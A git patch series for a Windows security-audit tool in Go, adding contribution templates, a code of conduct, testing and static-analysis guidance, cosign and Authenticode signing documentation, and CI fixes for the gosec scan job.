b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,57 @@ +name: Feature request +description: A new check, module, or improvement to the audit or console. +title: "[feat] " +labels: ["enhancement", "needs-triage"] +body: + - type: checkboxes + id: preflight + attributes: + label: Preflight + options: + - label: I have read CONTRIBUTING.md, including the check design rules (locale/privilege independence, no side effects, no false passes). + required: true + - label: I agree to follow this project's Code of Conduct. + required: true + - type: textarea + id: problem + attributes: + label: The exposure this measures + description: | + What Windows misconfiguration or gap should this surface, and from whose + point of view? A check is only useful if it can answer "so what". + validations: + required: true + - type: textarea + id: proposal + attributes: + label: Proposed approach + description: API or registry key to read, expected severity, and the concrete remediation the Finding would recommend. + validations: + required: true + - type: input + id: technique + attributes: + label: MITRE ATT&CK technique (if any) + placeholder: T1552.001 + validations: + required: false + - type: textarea + id: falsifiability + attributes: + label: How could this check be wrong? + description: | + What would make it report a false PASS, and how do we detect that + instead of guessing? Checks that cannot observe must return Unknown. + validations: + required: true + - type: dropdown + id: offensive + attributes: + label: Does it need a state-changing or offensive capability? + description: Anything that mutates the host or touches credentials must sit behind a --enable-* flag. + options: + - "No — read-only, fits the audit" + - "Yes — new or existing --enable-* module" + - "Not sure" + validations: + required: true diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..92b856e --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,35 @@ + + +## What changed + + + +Closes # + +## Why + + + +## How it was verified + + + +## Checklist + +- [ ] `gofmt -l .` is empty and `go vet ./...` is clean. +- [ ] `go test ./...` passes locally. +- [ ] New behaviour has a test; a fix has a test that fails without it. +- [ ] No security control was weakened (token checks, Host/Origin guards, + `s.guard(...)`, fail-closed `403`s, `StatusUnknown` over false `PASS`). +- [ ] Any `//#nosec` carries a specific reason on the same line, and any rule + added to the `-exclude` list in `.github/workflows/ci.yml` has its + rationale written next to it. +- [ ] `SECURITY.md` / `docs/SIGNING.md` / `README.md` updated if a capability, + flag or artifact changed. +- [ ] No secret, token, certificate or private key is included — including in + test fixtures and example output. diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..b0a92e5 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,134 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email address, + without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported privately to the maintainer, **@DevCop95**, through GitHub — a direct +message, or GitHub's +[abuse reporting](https://docs.github.com/en/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +if you would rather not contact them directly. Do **not** open a public issue. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[homepage]: https://www.contributor-covenant.org +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html +[Mozilla CoC]: https://github.com/mozilla/diversity +[FAQ]: https://www.contributor-covenant.org/faq +[translations]: https://www.contributor-covenant.org/translations diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f4df0ea..3b25853 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,8 +15,39 @@ make test # gofmt check + go vet + go test ./... make build # windows/amd64 → bin/obliteratus.exe ``` -CI runs the same gates on every PR (`gofmt`, `go vet`, `go test`, cross -compile), so a green local `make test` means a green PR. +CI runs the same gates on every PR — `gofmt`, `vet + test (windows)` (with a +coverage floor), `cross-compile (linux → windows)`, `govulncheck`, `gosec +(static analysis)` and `fuzz smoke (parsers)` — so a green local run means a +green PR. + +## Testing and tooling + +Every gate below runs in CI; run them locally before pushing. `make sast`, +`make fuzz-check` and `make cover` wrap the three you cannot get from +`go test ./...` alone — if you do not have `make` installed (it is not needed to +build the project), run the underlying commands straight out of the `Makefile`. + +- **Tests** — `go test ./...`. The coverage gate is a ratchet: if your change + raises coverage, raise `min` in `.github/workflows/ci.yml` in the same commit. + Never lower it to make a build green. `make cover` prints the total. +- **Fuzzing** — the parsers that eat attacker-influenced input have fuzz targets + (`FuzzRegf`, `FuzzParseRep`, `FuzzUnpack`, `FuzzMaskRoundTrip`, + `FuzzSanitizeName`). Seeds run as ordinary tests; to actually fuzz one: + + ```bash + go test -run='^$' -fuzz=FuzzRegf -fuzztime=60s ./internal/audit + ``` + + A crasher is written to `testdata/fuzz//` — commit it as a + regression seed and fix the bug. +- **Static analysis** — `gosec -exclude=G103,G104 ./...` must report zero + findings. If a finding is a false positive, do not add a rule to the exclude + list: annotate the line instead, with the reason, as + `//#nosec G304 -- `. The exclude + list is for rules whose *every* instance is deliberate, and each entry there + is justified in a comment. +- **Vulnerabilities** — `govulncheck ./...` must be clean. It is + reachability-aware, so a finding means your code calls the vulnerable symbol. ## Adding an audit check @@ -60,4 +91,5 @@ Conventional Commits: `feat:`, `fix:`, `docs:`, `test:`, `refactor:`, ## Reporting bugs Use GitHub issues for reproducible defects. Security-sensitive reports go -through [SECURITY.md](SECURITY.md), not the public tracker. +through [SECURITY.md](SECURITY.md), not the public tracker. Participation in +this project is covered by the [Code of Conduct](CODE_OF_CONDUCT.md). diff --git a/README.md b/README.md index 7b9affc..83ab0f6 100644 --- a/README.md +++ b/README.md @@ -65,7 +65,7 @@ Prebuilt binaries are attached to each [tagged release][releases] (checksums + SPDX SBOM, keyless-signed with cosign). How to verify them — and why the `.exe` is **not** Authenticode-signed — is in **[docs/SIGNING.md](docs/SIGNING.md)**. -[releases]: https://github.com/DevCop95/obliteratus/releases +[releases]: https://github.com/DevCop95/pullgoscript/releases ### Full flag reference diff --git a/docs/SIGNING.md b/docs/SIGNING.md index 3db5767..69929a2 100644 --- a/docs/SIGNING.md +++ b/docs/SIGNING.md @@ -34,7 +34,7 @@ sha256sum -c checksums.txt # or: Get-FileHash -Algorithm SHA256 .\*.zip cosign verify-blob \ --certificate checksums.txt.pem \ --signature checksums.txt.sig \ - --certificate-identity-regexp "^https://github.com/DevCop95/obliteratus/" \ + --certificate-identity-regexp "^https://github.com/DevCop95/pullgoscript/" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ checksums.txt # → "Verified OK" @@ -44,9 +44,27 @@ rekor-cli get --artifact checksums.txt ``` `--certificate-identity-regexp` is the crux: a bare `Verified OK` only says -*someone* signed it. Pinning the identity to `DevCop95/obliteratus` is what +*someone* signed it. Pinning the identity to `DevCop95/pullgoscript` is what stops a signature from any other repository being accepted. +The certificate subject is fully qualified, e.g. for v2.0.2: + +``` +https://github.com/DevCop95/pullgoscript/.github/workflows/release.yml@refs/tags/v2.0.2 +``` + +Use `--certificate-identity` (singular, exact match) instead of the regexp if +you want to pin one specific tag and workflow rather than the repository. Note +that the subject embeds the **repository name at the time of the release**, so a +later rename invalidates an exact pin — which is why `release.yml` builds its +self-check from `${GITHUB_REPOSITORY}` and this document uses the repo-prefix +regexp. + +> cosign v3 prints `Flag --certificate has been deprecated...` for the two flags +> above. That is expected for these assets: the release ships the detached +> `.sig` + `.pem` pair, and the warning is about the newer single-file +> `--bundle` form. The verification result is unaffected. + Reviewing the SBOM: ```bash @@ -92,31 +110,58 @@ moment the certificate expires. ### Wiring a cert into the release workflow later -When an EV cert or Azure Trusted Signing is available, add a `signs` entry to -`.goreleaser.yml` that runs **after** the build and **before** archiving, so -the signed bytes are what lands in the zip and its checksum. Sketch -(non-functional until the cert exists): +This is the **only** outstanding gap in the supply chain, and it is blocked on a +credential this repository cannot hold: an EV code-signing certificate or an +Azure Trusted Signing account — a paid, identity-verified asset. Nothing in the +tree can be changed to close it until such a cert exists. + +When it does, add a `signs` entry to `.goreleaser.yml` that runs **after** the +build and **before** archiving, so the signed bytes are what lands in the zip +and its checksum. Sketch (non-functional until the cert exists): ```yaml signs: - id: authenticode cmd: signtool artifacts: binary # sign the .exe, not the archive - signature: "${artifact}" + signature: "${artifact}" # sign in place: the archive must carry the signed bytes args: - sign - - /fd # /fd SHA256 - - /tr http://timestamp.digicert.com /td SHA256 - - /n "Your Company Name" + - /fd + - SHA256 # file digest + - /tr + - http://timestamp.digicert.com + - /td + - SHA256 # timestamp digest — omitting this kills the sig at expiry + - /n + - "Your Company Name" - "${artifact}" ``` -The cert/credential must be injected as a GitHub secret (base64 PFX imported -into the runner's store, or an Azure Trusted Signing OIDC login) — it must -never be committed. Note that signing the binaries changes their hashes, so the +`signtool` is not on `PATH` on a plain runner — it ships with the Windows SDK, +so a `windows-latest` job needs the SDK step (or `azure/trusted-signing-action`) +before goreleaser runs. The certificate/credential must be injected as a GitHub +secret (a base64 PFX imported into the runner's store, or an Azure federated +login) — it must never be committed. Signing changes the bytes, so the Authenticode step has to precede both the archive and `checksums.txt`; that is why it lives in the `signs` pipe rather than as a post-release `signtool` job. +**Azure Trusted Signing** is the lower-friction route in 2026: Microsoft runs +the CA, the signing key never leaves their HSM, and identity validation is done +once by Microsoft. Use `az login` with a federated credential from Actions, then +point goreleaser's `signs.command` at `trusted-signing-cli` (`sign` mode) +instead of `signtool`. Either way the release must be re-tagged: existing tags +are immutable and their signatures are already published, so the first signed +release is a new version. + +### Status tracking + +| Step | State | +|---|---| +| cosign keyless signature over `checksums.txt` | ✅ live (v2.0.2 verified) | +| SBOM per archive | ✅ live | +| Authenticode on the `.exe` files | ⛔ **blocked on acquiring a certificate** | + ## Threat-model note The cosign guarantee is about **provenance** (which repo/workflow built this), From 1f8d43dd6bdea9b3b428dbdb0ecf54ff765c766d Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 11:04:17 -0500 Subject: [PATCH 5/7] ci: resolve gosec by absolute path in the sast job setup-go does not add $(go env GOPATH)/bin to PATH, so the scan step died with 'gosec: command not found' (exit 127) after a successful install. --- .github/workflows/ci.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 81e34a3..7d3c810 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -151,9 +151,12 @@ jobs: run: go install github.com/securego/gosec/v2/cmd/gosec@latest - name: gosec run: | + # setup-go does not put $(go env GOPATH)/bin on PATH, so resolve the + # binary explicitly rather than relying on `gosec` being found. + GOSEC="$(go env GOPATH)/bin/gosec" # -no-fail: gosec exits non-zero on the tolerated assembly type error # even with no findings; the gates below decide pass/fail instead. - gosec -no-fail -fmt=json -exclude=G103,G104 ./... > gosec.json + "$GOSEC" -no-fail -fmt=json -exclude=G103,G104 ./... > gosec.json issues=$(jq '.Issues | length' gosec.json) if [ "$issues" -ne 0 ]; then jq -r '.Issues[] | "::error file=\(.file),line=\(.line)::\(.rule_id) \(.details)"' gosec.json From 6281c48f41183ec5570623e46f36ca73634b1146 Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 11:09:24 -0500 Subject: [PATCH 6/7] ci: scope GOOS=windows to the scan step, not the whole sast job Job-level GOOS cross-compiled gosec itself into a PE binary (gosec.exe), which the Linux runner then could not execute. The runner's own GOOS is what installs a usable binary; only the scan needs to see the windows-only packages. --- .github/workflows/ci.yml | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7d3c810..e2ff2b6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -139,17 +139,20 @@ jobs: sast: name: gosec (static analysis) runs-on: ubuntu-latest - env: - GOOS: windows - GOARCH: amd64 steps: - uses: actions/checkout@v7 - uses: actions/setup-go@v7 with: go-version-file: go.mod + # Installed with the *runner's* GOOS. Setting GOOS=windows here would make + # this step cross-compile gosec to a PE binary (gosec.exe) that the Linux + # runner cannot execute; it is scoped to the scan step below instead. - name: install gosec run: go install github.com/securego/gosec/v2/cmd/gosec@latest - name: gosec + env: + GOOS: windows + GOARCH: amd64 run: | # setup-go does not put $(go env GOPATH)/bin on PATH, so resolve the # binary explicitly rather than relying on `gosec` being found. From 57fde698f9c5ec2e9d4bfaf99970f2442f618244 Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 11:13:40 -0500 Subject: [PATCH 7/7] ci: fail the sast job if gosec analysed nothing "0 findings" and "the scan never parsed any code" must not look the same. The job now asserts gosec's own Stats.files is non-zero and prints files/lines/nosec found, so a green result is auditable rather than assumed. Verified against gosec v2.29.0 locally before pushing: files=37, lines=7194, nosec=47, found=0. --- .github/workflows/ci.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e2ff2b6..a533e5f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -160,6 +160,13 @@ jobs: # -no-fail: gosec exits non-zero on the tolerated assembly type error # even with no findings; the gates below decide pass/fail instead. "$GOSEC" -no-fail -fmt=json -exclude=G103,G104 ./... > gosec.json + # A scan that parsed nothing must not read as a clean scan. + files=$(jq '.Stats.files' gosec.json) + if [ "${files:-0}" -eq 0 ]; then + echo "::error::gosec analysed 0 files — the scan is vacuous, not clean" + exit 1 + fi + jq -r '"gosec stats: files=\(.Stats.files) lines=\(.Stats.lines) nosec=\(.Stats.nosec) found=\(.Stats.found)"' gosec.json issues=$(jq '.Issues | length' gosec.json) if [ "$issues" -ne 0 ]; then jq -r '.Issues[] | "::error file=\(.file),line=\(.line)::\(.rule_id) \(.details)"' gosec.json